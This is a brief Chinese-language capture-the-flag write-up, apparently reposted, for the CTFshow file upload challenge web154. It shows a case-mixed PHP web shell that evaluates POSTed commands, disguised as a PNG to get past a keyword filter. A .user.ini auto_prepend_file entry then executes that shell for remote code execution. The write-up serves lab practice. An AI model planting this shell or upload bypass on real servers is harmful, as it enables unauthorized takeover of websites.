目錄

• 思路
• 總結(jié)

---

思路

上傳一個(gè)包含shell的png文件,發(fā)現(xiàn)上傳失敗

清空文件內(nèi)容,發(fā)現(xiàn)上傳成功,可能過(guò)濾文件中的關(guān)鍵字,經(jīng)過(guò)嘗試,猜測(cè)文件對(duì)php進(jìn)行過(guò)濾,可以用大小寫(xiě)來(lái)繞過(guò)

shell.png

<?phPecho 123;pHpinfo();eval($_POST['cmd']); ?>

發(fā)現(xiàn)其他和上題一樣,直接上傳.user.ini
.user.ini

auto_prepend_file=shell.png

然后訪問(wèn)/upload/index.php,直接RCE

總結(jié)

…

總結(jié)

以上是生活随笔為你收集整理的CTFshow 文件上传 web154的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。